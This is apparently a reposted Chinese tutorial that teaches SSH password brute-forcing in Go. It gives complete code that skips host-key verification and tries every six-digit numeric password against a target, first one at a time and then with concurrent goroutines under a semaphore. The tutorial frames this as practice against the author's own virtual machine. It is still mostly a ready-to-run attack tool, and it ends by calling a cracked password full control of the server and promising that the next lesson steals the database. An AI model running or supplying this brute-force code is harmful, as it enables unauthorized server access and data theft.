内容简介:安装并运行SSH服务,以Ubuntu为例
需求和思路分析
- 现在的很多小伙伴们都拥有了自己的云服务器了,lots of them!
- 平时大家是怎么做服务器管理的呢?相信多数人都是通过SSH客户端连接过去的吧;
- 无论PUTTY还是XShell,我们只需要一个登陆密码,就能轻松地登陆到远程服务器终端,然后对我们的服务器做任何事情;
- 只需要一个密码就可以了!
- Go语言有SSH连接的第三方库,参数自然是用户名、密码、远程IP和端口,而密码我们可以通过暴力枚举来进行破解;
建立靶机
安装并运行SSH服务,以Ubuntu为例
//安装SSH服务 sudo apt install openssh-server //查看服务状态 sudo systemctl status ssh //启动服务 sudo systemctl start ssh
使用另一台虚拟机与之进行SSH连接
ssh sriouyang@192.168.137.152
安装第三方库
go get golang.org/x/crypto/ssh
访问golang.org需要翻墙,我们可以先手动在GOPATH/src下创建golang.org/x目录,cd到这个目录,然后执行
git clone https://github.com/golang/crypto.git
连接SSH服务器
核心API如下:
func Dial(network, addr string, config *ClientConfig) (*Client, error) func (c *Client) NewSession() (*Session, error)
从核心API出发,一步一步按图索骥,我们就能够写出连接的完整代码了
/*获取客户端连接*/ func SSHConnect(user, password, host string, port int) (*ssh.Client, *ssh.Session, error) { var ( authMethods []ssh.AuthMethod addr string clientConfig *ssh.ClientConfig client *ssh.Client session *ssh.Session err error ) // 创建密码校验方法 authMethods = make([]ssh.AuthMethod, 0) authMethods = append(authMethods, ssh.Password(password)) // 创建一个格式合法的回调函数 hostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil } /*创建SSH客户端配置*/ clientConfig = &ssh.ClientConfig{ User: user, Auth: authMethods, // Timeout: 30 * time.Second, HostKeyCallback: hostKeyCallbk, } // 连接地址 addr = fmt.Sprintf("%s:%d", host, port) // 拨号并获取SSH客户端 if client, err = ssh.Dial("tcp", addr, clientConfig); err != nil { return nil, nil, err } // 创建新的会话 if session, err = client.NewSession(); err != nil { return nil, nil, err } return client, session, nil }
测试密码正确与否
下面的代码中,我们分别使用正确的密码和错误的密码尝试与靶机建立SSH连接,连接成功时,返回的error为空,说明密码是正确的,否则返回具体的error;
/*成功与失败*/ func main() { //正确密码 _, session, err := SSHConnect("sriouyang", "123456", "192.168.137.152", 22) //err为空 fmt.Println(session, err) //错误密码 _, session, err = SSHConnect("sriouyang", "654321", "192.168.137.152", 22) //err不为空 fmt.Println(session, err) }
同步暴力破解密码
以6位纯数字密码为例,我们就可以这样来破解了
/*同步暴力破解所有6位纯数字密码*/ func main02() { for i := 0; i < 1000000; i++ { //尝试使用当前密码登录SSH服务器 pwd := strconv.Itoa(i) _, session, e := SSHConnect("sirouyang", pwd, "192.168.137.152", 22) fmt.Println(session, e) //根据错误是否为空判断密码是否正确 if e != nil { fmt.Println(i, "尝试失败") } else { fmt.Println(i, "正确密码", pwd) break } } }
异步暴力破解密码
- 同步破解每次密码尝试都需要等待很久才能返回结果,对于几千万次的不同组合的尝试来说,这显然是不OK的,于是 Go 语言的并发来了!
- 我们对上述同步破解代码进行改进,将每次尝试丢给一个不同的协程去做,这样我们就能并发地测试多个密码了;
- 注意事项1:每次尝试失败后,要断开客户端连接,否则很快连接就满了或者无效了,就会出现各种各样的BUG;
- 注意事项2:不要真的开辟百万并发协程,那只是一个美好的理想,现实中服务器端的最大连接数是有限的,所以我们使用管道模拟信号量,来控制最大并发数,此处桫哥使用了5并发;
- 注意事项3:在统计尝试次数时,尝试次数这个变量不要并发地去修改,否则容易出错,桫哥在此处使用了原子变量做同步修改;
完整代码实现如下:
/*异步破解*/ func main03() { //chQuit := make(chan string) //控制并发数 chSem := make(chan int, 5) //全局等待组 var wg sync.WaitGroup //尝试次数 var count int64 /*暴力尝试密码*/ for i := 123400; i < 123500; i++ { //开辟尝试协程并注册到等待组 wg.Add(1) go func(i int) { //使用管道做并发数控制 chSem <- i //尝试连接 pwd := strconv.Itoa(i) client, session, e := SSHConnect("sriouyang", pwd, "192.168.137.152", 22) //最终关闭客户端 defer func() { if session != nil { session.Close() } if client != nil { client.Close() } }() //记录尝试次数,此处使用原子操作保证同步 atomic.AddInt64(&count, 1) fmt.Println(e) //判断破解是否成功 if e != nil { fmt.Println(i, "密码错误") if pwd == "123456" { log.Print(e) } } else { fmt.Println(i, "正确密码") fmt.Println("共尝试", count, "次") os.Exit(0) } //让出并发位置,从等待组中注销 <-chSem wg.Done() }(i) } //等待所有协程结束 wg.Wait() fmt.Println("main over!") }
执行结果如下 破解了密码就等于完全控制了服务器,下一节我们将把服务器数据库里的数据盗走,名曰“脱库”;
加入兄弟连Go区块链帝国,获取海量免费学习资源,并天天有惊喜(小姐姐出没)
桫哥带你学Golang云盘链接:https://pan.baidu.com/s/1LsajZhxEp5G5JvK1VhrSxQ 提取码:nab8
以上所述就是小编给大家介绍的《Go语言破解SSH服务器》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
国际游戏设计全教程
[美]迈克尔·萨蒙德 / 张然、赵嫣 / 中国青年出版社 / 2017-2 / 108.00元
你想成为一名电子游戏设计师吗?想知道《肯塔基0号路》《到家》《枪口》等独立游戏的制作理念及过程吗?想了解《戈莫布偶大冒险》《辐射3》《战争机器》中关卡设计的奥秘吗?本书用通俗易懂的文字介绍了在游戏开发与策划过程中,需要掌握的游戏设计原理和制作的基础知识,可以作为读者从“构思一个电子游戏”到“真正完成一个电子游戏”的完备指南。 本书以系统的游戏设计流程结合大量优秀的游戏设计案例进行讲解,让读者......一起来看看 《国际游戏设计全教程》 这本书的介绍吧!